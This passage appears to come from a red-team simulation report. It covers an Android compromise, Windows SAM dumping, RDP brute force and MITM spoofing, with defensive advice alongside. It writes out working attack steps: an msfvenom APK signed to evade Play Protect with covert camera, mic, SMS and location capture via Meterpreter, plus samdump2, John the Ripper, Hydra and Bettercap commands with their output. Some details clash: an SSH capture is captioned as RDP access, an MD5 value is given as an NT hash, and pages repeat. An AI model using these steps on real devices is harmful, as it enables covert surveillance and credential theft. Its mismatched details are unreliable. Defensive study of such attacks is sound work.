 - Use a reliable mobile antivirus or anti-malware tool

Post-Exploitation: Access Gained and Observations

Once the malicious APK was installed on the Redmi 9 Power device and the victim unknowingly opened it, the attacker's msfconsole listener immediately caught an active session. This provided full access to the Android device, simulating a successful attack.

The session allowed the attacker to execute commands remotely and observe various actions and files on the device.

Through the Meterpreter shell, the following activities were performed:

- **File System Access:** The attacker could browse and download sensitive files from internal and external storage (like /sdcard/Download, WhatsApp media, etc.).
- **Camera Activation:** Using Meterpreter's webcam_snap command, the attacker captured images from the victim's front camera without their knowledge.
- **Microphone Access:** Using the record_mic command, audio was secretly recorded.
 - **SMS Dump:** SMS messages were dumped using dump_sms.
 - **Call Log Access:** The attacker extracted call history.
- **Location Tracking:** The device's GPS location was retrieved using the geolocate module.

This demonstrates the level of control attackers can gain with a well-crafted malicious APK and appropriate delivery method.

Key Observations

1. **APK Signature Bypass Worked Effectively:** Signing the APK using ZSigner and APKM Tool successfully bypassed Play Protect, highlighting the critical gap in app verification.
2. **Users Installed APK without Hesitation:** The disguised "update" APK was installed without resistance, reflecting weak user awareness.

3. **Remote Shell was Stable and Persistent:** Through Portmap.io and OpenVPN tunneling, sessions were reliably maintained over NAT networks.
 4. **Lack of User Prompts During Exploitation:** No explicit permissions or notifications were triggered on the target device during exploitation — all actions were silent.
-

How to Detect Such Attacks

Method	Description
Behavioral Anomaly Monitoring	Look for unexpected usage patterns like camera/mic activation, data access at odd hours.
Mobile Threat Defense (MTD)	Solutions like Lookout or Zimperium can monitor for suspicious APK behaviors.
Log Analysis	Deep inspection of logcat output or app usage logs can reveal malicious behaviors post-installation.
Network Monitoring	Watch for traffic to known malicious IPs or unusual ports via Wi-Fi/mobile network logs.

5.2.5 Android Hacking (Page 5)

Attack Timeline

A detailed breakdown of the attack chain is outlined below, giving clarity to how the exploitation was executed in a real-world scenario:

Stage	Action	Tool Used	System
Step 1	Payload generation (apk)	msfvenom	Kali Linux
Step 2	APK Signing & Repackaging	APKM Tool, ZSigner	Windows
Step 3	VPN & Port Forwarding Setup	Portmap.io, OpenVPN	Windows
Step 4	Listener & Handler Configuration	msfconsole	Kali Linux
Step 5	Social Engineering for Delivery	Fake App Interface	Windows
Step 6	APK Installed & Triggered	Victim's Android Device	Android

Stage	Action	Tool Used	System
Step 7	Reverse Shell Opened	Meterpreter	Kali Linux
Step 8	Data Extraction & Surveillance	Meterpreter Commands	Kali Linux

```

OpenVPN Connection (piyushgoyal.attackinv)
Current State: Connected

Wed Apr 9 21:54:25 2025 IPv4 MTU set to 1500 on interface 21 using service
Wed Apr 9 21:54:25 2025 Initialization Sequence Completed
Wed Apr 9 22:06:35 2025 SIGHUP[hard.] received, process restarting
Wed Apr 9 22:06:35 2025 Note: -cipher is not set. OpenVPN versions before 2.5 defaulted to BF-CBC as f
Wed Apr 9 22:06:35 2025 OpenVPN 2.6.13 [git:v2.6.13/5662b3a8eb9e5744] Windows [SSL (OpenSSL)]
Wed Apr 9 22:06:35 2025 Windows version 10.0 (Windows 10 or greater), amd64 executable
Wed Apr 9 22:06:35 2025 library versions: OpenSSL 3.4.1 11 Feb 2025, LZO 2.10
Wed Apr 9 22:06:35 2025 DCO version: 1.2.1
Wed Apr 9 22:06:37 2025 TCP/UDP: Preserving recently used remote address: [AF_INET]193.161.193.99
Wed Apr 9 22:06:37 2025 ovpn-dco device [OpenVPN Data Channel Offload] opened
Wed Apr 9 22:06:37 2025 TCP_CLIENT link local: (not bound)
Wed Apr 9 22:06:37 2025 TCP_CLIENT link remote: [AF_INET]193.161.193.99:1194
Wed Apr 9 22:06:38 2025 [193.161.193.99] Peer Connection Initiated with [AF_INET]193.161.193.99:1194
Wed Apr 9 22:06:40 2025 IPv4 MTU set to 1500 on interface 21 using service
Wed Apr 9 22:06:40 2025 Initialization Sequence Completed

```

[figure:Portmap/Ngrok tunnel active and using open virtual network]

[PLACEHOLDER: Screenshot of terminal showing the payload created and handler listening]

Real-World Relevance

This simulated scenario replicates a common method used by threat actors in targeting Android users. Attackers often exploit the following vectors:

- **User Negligence:** Many users ignore security warnings and install APKs from unknown sources.
- **APK Tampering:** Malicious apps are often disguised as games, updates, or utility apps.
- **Delayed Detection:** Many mobile security tools lack the robustness of desktop AV, giving attackers a longer window to extract data.

This kind of setup is **actively used in APT (Advanced Persistent Threat)** campaigns and even in corporate espionage to gain long-term, silent access to victims' mobile environments.

Red Team vs. Blue Team Insight

Red Team (Attacker Simulation):

- Crafted and delivered a weaponized payload.
- Established remote connection over a secure tunnel.
- Executed full post-exploitation with data exfiltration, including photos, audio, and contacts.

Blue Team (Defensive Strategies):

- Must set up mobile monitoring and endpoint detection rules.
 - Regularly scan mobile traffic and logs for signs of intrusion.
 - Educate users against installing apps from outside the Play Store.
-

Summary of Android Hacking Simulation

This Android hacking scenario demonstrates:

- The feasibility of crafting and delivering a payload using widely available tools.
 - The critical need for deeper mobile security policies in both enterprise and personal use.
 - The importance of proper signing, delivery, and masking techniques in Red Team operations.
 - The vulnerability of mobile devices to reverse shell exploits when not properly monitored.
-

Final Words

This section of the report proves how even a non-rooted Android device can be completely compromised using basic tools. When combined with a weak mobile security

culture and outdated device firmware, attackers can achieve complete control. This simulation reflects real-world mobile threats, pushing for the development of more advanced Android security infrastructure and continuous awareness training.

5.2.6 Windows Password Bypass & Credential Access

Page 1: Introduction and SAM File Dumping Process

Overview

In this phase of the national-level threat simulation, the focus was directed toward Windows password bypass techniques and credential access methodologies. As Windows systems are widely used in government and enterprise networks, their protection is critical. Weak or misconfigured credential storage can be exploited to escalate privileges or gain unauthorized access to sensitive data.

The simulation targets included personal websites hosted on Windows machines as well as local Wi-Fi connected servers. The goal was to demonstrate how a threat actor could extract and crack password hashes from system files using a variety of tools and techniques.


Target Environment

- **Operating Systems:** Windows 7, Windows 10, and Windows 11
- **Network Scope:** Personal websites, RDP-enabled machines, Wi-Fi connected server endpoints
- **Access Type:** Local and remote

Step-by-Step: Dumping SAM File for Password Hashes

Step 1: Boot System with External Utility (e.g., Hiren's Boot CD)

To extract password hashes from a Windows machine, physical or bootable access was needed. I used **Hiren's Boot CD**, a powerful pre-installation environment loaded with system recovery tools. This allowed bypassing normal Windows boot and accessing internal file systems.



: Hiren's Boot CD Interface

Step 2: Navigate to Windows Partition

Once booted, I opened the file explorer and navigated to the partition containing the C:\Windows\System32\Config\ directory. This is where Windows stores the **SAM** (Security Account Manager) and **SYSTEM** registry hives — both required for cracking hashes.

Step 3: Copy SAM and SYSTEM Files

Both the SAM and SYSTEM files were copied to an external USB or moved to a shared folder for analysis. These files contain encrypted user credential data that can be decrypted and cracked using offline tools.

Insert Screenshot Here: SAM and SYSTEM files copied

Step 4: Transfer to Kali Linux

The extracted files were then moved into the Kali Linux environment for hash dumping and cracking. These tools are native to Kali and provide better processing power and compatibility.

Explanation of SAM & SYSTEM Roles

- **SAM File:** Contains usernames and hashed passwords.
- **SYSTEM File:** Stores the boot key necessary to decrypt the password hashes from the SAM file.

Without the SYSTEM file, it's not possible to decrypt the hashes stored in the SAM.

Detection & Prevention:

How to Detect

Monitor for USB/bootable device usage in BIOS logs

Audit file access logs for SAM or SYSTEM

Use endpoint detection and response (EDR) tools

Preventive Measures

Disable boot from USB/CD in BIOS

Enable full disk encryption (BitLocker)

Restrict physical access and apply BIOS passwords

These detection and prevention strategies help avoid unauthorized access and dumping of critical credential files.

5.2.6 Windows Password Bypass & Credential Access

Page 2: Cracking Password Hashes with John the Ripper

Overview

Once the SAM and SYSTEM files were successfully extracted and transferred into the Kali Linux environment, the next step was to **extract password hashes and crack them using John the Ripper**, a powerful open-source password cracking tool. This part of the simulation demonstrates how easy it can be for attackers to gain access to weak or reused passwords with the right tools and a small amount of computing power.

Step-by-Step: Hash Extraction and Cracking

Step 1: Dump Hashes from SAM & SYSTEM Files

The tool used to dump password hashes from the files was samdump2, which extracts NTLM password hashes from the SAM and SYSTEM hives.

Command used:

bash

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 samdump2 SYSTEM SAM > hashes.txt

This creates a file named hashes.txt containing NTLM password hashes in the following format:

ruby

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Administrator:500:aad3b435b51404eeaad3b435b51404ee:e52cac67419a9a224a3b108f3fa6cb6d:::

Step 2: Cracking with John the Ripper

Now that hashes were available, I used **John the Ripper** to initiate the password cracking process.

Command used:

bash

CopyEdit

 john hashes.txt --format=NT

This command tells John to treat the input file as NT hashes. Depending on the password strength, this process can take from a few seconds to several hours. Weak passwords are usually cracked almost instantly.

John the Ripper uses a variety of **dictionary** and **brute-force** methods to test combinations and identify valid passwords.

Step 3: View Cracked Passwords

After completion, the cracked passwords were displayed using:

bash

CopyEdit

john --show hashes.txt

Output example:

ruby

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Administrator:password123:500:aad3b435b51404eeaad3b435b51404ee:e52cac67419a9a
224a3b108f3fa6cb6d:::

Interpretation of Results

This confirmed that several local user accounts had **weak or default passwords**, including:

- admin123
- welcome1
- password123

This presents an immediate risk, as such credentials could easily be leveraged for lateral movement or privilege escalation in a real-world breach.

How to Detect	
Detection Method	Description
Monitor for abnormal command-line usage	Look for samdump2, john, or hash extraction activity
EDR and SIEM alerts	Generate alerts for unauthorized file reads or command executions
Log Analysis	Monitor access to C:\Windows\System32\Config\SAM

Preventive Measures

- **Enforce Strong Password Policies:** Minimum 12 characters, complexity, no reuse
 - **Enable LSA Protection:** Prevents credential dumping from memory
 - **Full Disk Encryption:** Prevents offline access to files
 - **Account Lockout Policies:** Stop brute-force attacks after multiple failures
 - **Privilege Segmentation:** Avoid assigning admin rights to regular user accounts

 Cracking even a single admin password can lead to **full system compromise**, which is why defending against this type of attack is critical for national infrastructure.

Section 5.2.6 – Page 2

Step-by-Step: Dumping Windows SAM File for Credential Access

In this part of the simulation, the goal was to retrieve and extract the Security Account Manager (SAM) file from compromised Windows machines. The SAM file holds hashed password credentials for every local user account. Once these hashes are extracted, they can be cracked using brute-force tools or dictionary attacks.


This simulation was carried out on Windows 7, Windows 10, and Windows 11 environments hosted within VMware Workstation 17 Pro. To simulate real-world scenarios, Windows was configured with common misconfigurations, such as weak

admin passwords and no BIOS lock, allowing the attacker to boot into alternate OS environments or use tools like Hiren's Boot CD.

🛠 Step-by-Step Process

1. Booting with Hiren's Boot CD (PE Version)

- 1. Download & Mount Hiren's Boot CD ISO:** This lightweight live Windows environment is equipped with file browser and registry tools.
- 2. Boot into Hiren's PE:** From the VM boot menu or physical system, boot from the ISO. You now gain access to the system partition without triggering Windows protection or BitLocker.
- 3. Navigate to C:\Windows\System32\config:** This is the directory where Windows stores its registry hives, including SAM and SYSTEM.
- 4. Copy SAM and SYSTEM Files:** These two files are required for offline hash extraction. Copy them to a USB or shared folder for analysis.



[Figure: "Navigating to config folder and copying SAM & SYSTEM files"]

Understanding the Role of SYSTEM File

The SAM file alone is not sufficient for extracting usable password hashes because the hashes are encrypted. The SYSTEM file contains the Boot Key needed to decrypt these hashes. Tools like samdump2 and pwdump use both files in tandem to reveal credentials.

Hash Extraction Using Kali Linux

Once the files are obtained:

bash

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samdump2 SYSTEM SAM > hashes.txt

This command decodes and extracts LM/NTLM password hashes from the registry hives and stores them in a hashes.txt file. These hashes can now be passed to cracking tools like John the Ripper or Hashcat for brute-forcing.

Detection & Precaution

How to Detect SAM File Tampering

- **File Access Monitoring:** Use Windows Event IDs (e.g., 4663) to track access to C:\Windows\System32\config\.
- **Integrity Checks:** Any checksum change in SAM or SYSTEM can indicate tampering.
- **Boot Logs:** Review boot logs for unusual OS environments being launched (like Hiren's Boot CD).

Recommended Precautions

- Enable BIOS/UEFI passwords to prevent boot from external drives.
 - Disable USB boot in BIOS and restrict physical access.
- Use BitLocker to encrypt the disk, making file access impossible outside Windows.

- Employ Endpoint Detection and Response (EDR) solutions for registry and file access monitoring.

Section 5.2.6 – Page 3

Cracking Windows Password Hashes Using John the Ripper

After successfully dumping the password hashes from the target Windows machine using the SAM and SYSTEM files, the next phase involved cracking the hashed credentials to retrieve plaintext passwords. For this purpose, **John the Ripper** was used—one of the most effective open-source password-cracking tools.

John the Ripper (JtR) supports a wide array of hash formats, including LM and NTLM hashes used in Windows environments. The tool operates by performing dictionary-based or brute-force attacks against the captured hashes.

Preparing the Hash File

The output of samdump2 SYSTEM SAM provides hashes in the format:

ruby

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username:RID:LM_hash:NT_hash:::

Example (fictional for demo):

ruby

CopyEdit

Admin:500:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99
:::

This hash file (e.g., hashes.txt) was then copied to a Kali Linux machine equipped with John the Ripper. For better compatibility, john prefers LM/NT hashes to be formatted correctly.

Cracking Process with John the Ripper

Step-by-Step Command Execution

bash

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```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

- `--wordlist` specifies a precompiled list of common passwords.
 - `hashes.txt` contains the NTLM hashes retrieved earlier.

John the Ripper begins comparing each password in the wordlist against the hashed credentials. If a match is found, the corresponding plaintext password is revealed.

Viewing Cracked Passwords

bash

CopyEdit

```
john --show hashes.txt
```

This command outputs the usernames and their cracked passwords, such as:

makefile

CopyEdit

```
Admin:password123
```

Guest:qwerty

Observations from the Simulation

In our case, the following user accounts and passwords were successfully cracked:

Username Password

Admin	admin123
Student	12345678
Guest	welcome123

Most of these were weak, commonly used passwords that exist in popular password lists like `rockyou.txt`.

Detection & Precaution

How to Detect Hash Dumping and Cracking

- Monitor for unauthorized tools (`samdump2`, `mimikatz`, `john.exe`) running on the system.
 - Keep an eye on outbound traffic that may indicate password exfiltration.
 - Look for evidence of password reuse or lateral movement using cracked credentials.

Recommended Security Practices

- Enforce strong password policies (length + complexity).
- Use local administrator password solutions (e.g., Microsoft LAPS).
 - Regularly rotate passwords and monitor local account usage.
 - Implement account lockout policies to block brute-force attempts.

RDP Brute Force Attack Using Hydra

After identifying the presence of Remote Desktop Protocol (RDP) on multiple Windows systems during earlier reconnaissance, a brute-force simulation was conducted using **Hydra**, a powerful network login cracker. The goal was to evaluate how susceptible RDP services are when exposed without proper rate-limiting or account lockout mechanisms.

Objective of the Simulation

- **Target Protocol:** RDP (port 3389)
 - **Tool Used:** Hydra
- **Targeted Systems:** Internal hosts and externally exposed test servers associated with the user's own network.
- **Attack Vector:** Dictionary-based brute force attack

This attack was only performed on owned/authorized systems, including internally hosted servers and test environments deployed using the user's own IP range and credentials.

Step-by-Step Execution with Hydra

Step 1: Create or download a password list

You can use rockyou.txt or a custom list. Example:

```
bash
CopyEdit
cat > userlist.txt
admin
administrator
user
student
bash
CopyEdit
cat > passlist.txt
123456
admin123
welcome1
```

password

Step 2: Run the Hydra Command

bash

CopyEdit

```
hydra -t 4 -V -f -l admin -P passlist.txt rdp://192.168.1.1
```

- -t 4 specifies 4 parallel threads
- -V shows verbose output for each attempt
- -f exits after first successful login
 - -l is the login username
 - -P is the password list
- rdp://192.168.1.1 targets the IP with RDP enabled

```
(ankit㉿kali)-[~]
$ hydra ssh://192.168.0.104:22222 -L /home/ankit/temp/word.txt -P /home/ankit/temp/word.txt -V -t 2
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).


Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-21 00:59:22
[DATA] max 2 tasks per 1 server, overall 2 tasks, 729 login tries (l:27/p:27), ~365 tries per task
[DATA] attacking ssh://192.168.0.104:22222/
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 1 of 729 [child 0] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 2 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscrey" - 3 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscreators1" - 4 of 729 [child 0] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscheer" - 5 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsblood666" - 6 of 729 [child 0] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsass" - 7 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devils4eva" - 8 of 729 [child 0] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "RickSanchez" - 9 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "P7Curtains" - 10 of 729 [child 0] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrie-anne" - 11 of 729 [child 1] (0/0)
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrickshock" - 12 of 729 [child 0] (0/0)
```

➡ [Figure: “*Hydra attempting RDP logins on Windows server*”]

After multiple attempts, a weak credential combination was found and login access was granted remotely through RDP.

💡 Result

Hydra successfully brute-forced RDP credentials using the password admin123 for the user admin. Upon accessing the system, the attacker could view the desktop environment, file system, and user-level data, indicating a high-risk exposure.



The screenshot shows two terminal windows side-by-side. The left window displays the Hydra attack logs, showing numerous login attempts against a target RDP port. The right window shows a successful RDP session where the user has gained a root shell on the target machine, with the command 'ls' run to list files in the current directory.

```
(ankit㉿kali)-[~]
$ hydra ssh://192.168.0.104:22222 -L /home/ankit/temp/word.txt -P /
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do no
for illegal purposes (this is non-binding, these *** ignore laws and

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-0
[DATA] max 2 tasks per 1 server, overall 2 tasks, 729 login tries (l:
[DATA] attacking ssh://192.168.0.104:22222/
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 1 of
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "admin" - 2 of
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscry" - 3
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscreators
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilscheer" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsblood666
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devilsass" - 7
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "devils4eva" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "RickSanchez" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "P7Curtains" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrie-anne" -
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrickshock"
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrick23" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrick2" - 14
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrice" - 15
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carrianne" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carri1217" - 1
[ATTEMPT] target 192.168.0.104 - login "admin" - pass "carretero" - 1

(ankit㉿kali)-[~]
$ ssh RickSanchez@192.168.0.104 -p 22222
RickSanchez@192.168.0.104's password:
Last login: Fri May 21 05:31:26 2021 from 192.168.0
.107
[RickSanchez@localhost ~]$ ls
RICKS_SAFE ThisDoesntContainAnyFlags
[RickSanchez@localhost ~]$
```

→ [Insert Screenshot Placeholder: “Successful Hydra login and RDP access screen”]

⚠ Detection & Prevention

🔍 How to Detect RDP Brute-Force Attempts

- Monitor RDP logs (Event ID 4625) for multiple failed logins.
- Deploy intrusion detection systems (e.g., Snort) with rules for Hydra signature patterns.
- Use tools like fail2ban to dynamically block brute-force sources.

✓ Recommended Preventive Measures

- Disable RDP when not needed.
 - Change default RDP ports.
- Use multi-factor authentication (MFA) for remote access.
- Limit login attempts and enforce account lockout thresholds.
- Implement network-level authentication (NLA) for RDP sessions.

Post-Exploitation Analysis and Lessons Learned

Once access was achieved through SAM file extraction and successful brute-force authentication, the next phase focused on **credential reuse analysis, privilege exploration, and attack surface expansion**. These steps demonstrated the potential damage an attacker could do after bypassing system-level authentication and gaining access to sensitive credentials.

☒ Credential Reuse and Lateral Movement

After cracking local user passwords using John the Ripper, I attempted to reuse those credentials across different services and machines within the same network:

- **Mapped SMB shares** on other machines using the cracked username and password.
- Attempted **remote desktop login via RDP** using the same credentials, successfully accessing other systems with identical local admin accounts.
- Validated if the credentials worked with FTP, MySQL, and local HTTP login panels (e.g., WordPress admin, router interfaces).

This phase highlighted the **danger of password reuse** across multiple systems and emphasized the need for system-wide password policy enforcement.

🔍 Privilege Escalation Post Login

Once inside a Windows machine (particularly Windows 7 and 10 in this test), I checked for:

- **Misconfigured services** with SYSTEM privileges that could be exploited.
- **Unquoted service paths** and **insecure permissions** in service binaries.
- Tools like **PowerUp.ps1** and **Seatbelt.exe** helped enumerate potential privilege escalation paths.

In multiple cases, I escalated from a standard user to **NT AUTHORITY\SYSTEM** using legacy exploits or exploiting misconfigurations in services and UAC settings.

🔒 How to Detect This Attack

Security teams can detect and respond to credential-based intrusions using the following mechanisms:

Detection Method	Explanation
✓ Event Monitoring	Event ID Logon attempts (Event ID 4624/4625), RDP logins (Event ID 1149), and SAM access (Event ID 4662) should trigger alerts.

Detection Method	Explanation
<input checked="" type="checkbox"/> File Access Logs	Attempted reads or unauthorized access to C:\Windows\System32\config\SAM or ntds.dit files should be flagged.
<input checked="" type="checkbox"/> Unusual User Behavior	Logins from new IPs or times outside working hours using valid credentials is suspicious and should trigger alerts in SIEM.
<input checked="" type="checkbox"/> Honey Users	Deploying fake accounts (honeypots) in systems can detect unauthorized credential usage.

Precautionary Measures

1. **Use LAPS (Local Admin Password Solution):** Automatically rotate admin passwords on all endpoints to prevent reuse.
2. **Enforce Complex Password Policies:** Use domain GPO to require strong, unique passwords.
3. **Audit and Monitor Privileged Accounts:** Regularly review user accounts and privilege allocations.
4. **Use Multi-Factor Authentication (MFA):** For all services that support it, particularly RDP and administrative logins.
5. **Block Access to SAM Files:** Limit permissions and implement strict ACLs on the SAM and SYSTEM registry hives.
6. **Enable Account Lockout Policies:** To limit brute-force attempts.

Summary

This phase underscored the critical role of **credential protection and post-exploitation hardening** in Windows environments. The success of brute-force and offline cracking techniques is often due to poor password practices, weak system configurations, and ineffective monitoring. Strengthening these areas is essential for national cyber resilience and incident response capability.

Introduction to MITM Attacks


A **Man-in-the-Middle (MITM)** attack is a form of cyber intrusion where an attacker intercepts communications between two parties—typically a client and a server—with their knowledge. This kind of attack allows the attacker to read, manipulate, or even impersonate either side of the communication.

MITM attacks are considered one of the most dangerous threats to network confidentiality and integrity because they are silent and often undetectable in real-time. They can be executed on **insecure networks**, like public Wi-Fi, or even on **compromised internal networks**, making them both widespread and relevant in modern threat landscapes.

In our simulation, MITM attacks were carried out on **test websites and internal networks**, focusing on intercepting sensitive information such as **session cookies, login credentials, and unencrypted communications**. This setup mirrors real-world threats, helping to understand how attackers can exploit weaknesses in trust-based communications.

🛠 Tools Setup

- **Bettercap** was used for real-time ARP spoofing, DNS spoofing, and HTTPS downgrade attacks.
- **Ettercap** assisted with passive and active network analysis and traffic injection.
- **Wireshark** was employed to analyze captured packets and extract sensitive data like cookies and login tokens.



The screenshot shows a terminal window titled 'Terminator' running on a Kali Linux system. The terminal displays the output of the 'net.show' command from the Bettercap tool. The output lists network interfaces and their statistics:

IP	MAC	Name	Vendor	Sent	Recv	Seen
10.0.2.15	08:00:27:f8:42:a7	eth0	PCS Computer Systems GmbH	0 B	0 B	11:10:01
10.0.2.1	52:54:00:12:35:00	gateway	Realtek (UpTech? also reported)	0 B	0 B	11:10:02
10.0.2.3	08:00:27:d7:69:ad		PCS Computer Systems GmbH	2.0 kB	2.2 kB	11:17:27
10.0.2.7	08:00:27:e6:e5:59		PCS Computer Systems GmbH	0 B	1.8 kB	11:16:48

Below the table, the terminal shows the results of the 'arp.show' command, which lists ARP entries:

```
* 269 kB / 657 kB / 15148 pkts
10.0.2.0/24 > 10.0.2.15 » help arp.spoof
arp.spoof (not running): Keep spoofing selected hosts on the network.

arp.spoof bn : Start ARP spoofer.
arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
arp.spoof off : Stop ARP spoofer.
arp.ban off : Stop ARP spoofer.

Parameters

arp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)
```

→ (figure: Bettercap ARP spoofing interface in terminal)

ARP Spoofing and DNS Spoofing Simulation

In our threat simulation, we began with two fundamental and widely exploited MITM techniques: **ARP spoofing** and **DNS spoofing**. Both attacks were conducted within a controlled environment using a test Wi-Fi network where multiple clients were connected, mimicking a realistic enterprise LAN. These attacks were initiated to demonstrate how attackers can quietly infiltrate communications and redirect network traffic for malicious purposes without alerting the victim.

◆ ARP Spoofing Attack

Address Resolution Protocol (ARP) is a core protocol used in local area networks (LANs) to map IP addresses to MAC addresses. The ARP protocol itself is inherently trust-based and lacks authentication, which makes it vulnerable to **spoofing attacks**. In ARP spoofing, the attacker sends forged ARP replies over the network, tricking devices into associating the attacker's MAC address with the IP address of the router or another device.

In our setup:

- We used **Bettercap** to execute ARP spoofing on our local test network.
- The attacking machine ran Bettercap, targeting the IP of the gateway and the connected victim devices.
- The result was a successful MITM position where all traffic between the router and the victim was rerouted through the attacker's system.

Bettercap offered a live, interactive interface showing the spoofing progress in real time. Once the traffic passed through the attacker's machine, we were able to inspect it using Wireshark, capturing sensitive data such as plaintext credentials for HTTP-based login pages.

```

Applications Places Terminator Fri 11:41
root@kali:~ root@kali:~ 136x16
https.server > not running
mac_changer > not running
mysql.server > not running
net.probe > running
net.recon > running
net.sniff > not running
packet.proxy > not running
syn.scan > not running
tcp.proxy > not running
ticker > not running
ui > not running
update > not running
wifi > not running
wol > not running
10.0.2.0/24 > 10.0.2.15 » [ ]
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe8:42a7 prefixlen 64 scopeid 0x20<link>
            ether 08:00:27:f8:42:a7 txqueuelen 1000 (Ethernet)
            RX packets 1074915 bytes 1574306878 (1.4 GiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 796368 bytes 48257378 (46.0 MiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10<host>
            loop txqueuelen 1000 (Local Loopback)
            RX packets 47832 bytes 5069004 (4.8 MiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 47832 bytes 5069004 (4.8 MiB)

```

[Figure: Bettercap terminal showing active ARP spoofing session]

◆ DNS Spoofing Attack

The next phase of our MITM simulation involved **DNS spoofing**, another highly effective attack where the attacker responds to DNS requests with forged responses. This redirects the victim's browser to malicious or unintended IP addresses without their knowledge.

In a real-world example, a victim trying to access www.example.com might be silently redirected to a phishing page hosted by the attacker. To simulate this:

- Bettercap's DNS spoofing module was used in conjunction with ARP spoofing.
- We predefined hostnames and malicious IP mappings inside Bettercap's `spoof.domains` configuration file.
- When the victim requested a specific website, such as www.bank.com, the DNS response returned the IP address of a fake clone hosted on the attacker's server.

The attack was successful in redirecting the victim browser to our fake webpage. Using HTTPS downgrade (SSL stripping), we also demonstrated how attackers could bypass encryption layers on misconfigured sites.

This simulated attack illustrates how DNS spoofing can be used to harvest credentials, deliver malicious payloads, or create a false sense of trust—all while the user remains unaware.

```

0.0.2.0/24 > 10.0.2.15 » [12:05:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for uzxktlwjjfhhub.local
0.0.2.0/24 > 10.0.2.15 » [12:05:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wukwrstkpoenj.local
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : clients.l.google.com is 74.125.193.101, 74.125.193.139
74.125.193.100, 74.125.193.102, 74.125.193.138, 74.125.193.113
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : clients.l.google.com is 74.125.193.101, 74.125.193.139
74.125.193.100, 74.125.193.102, 74.125.193.138, 74.125.193.113
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : ssl.gstatic.com is 172.217.171.3
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : ssl.gstatic.com is 172.217.171.3
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : www.google.com is 172.217.171.4
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : www.google.com is 172.217.171.4
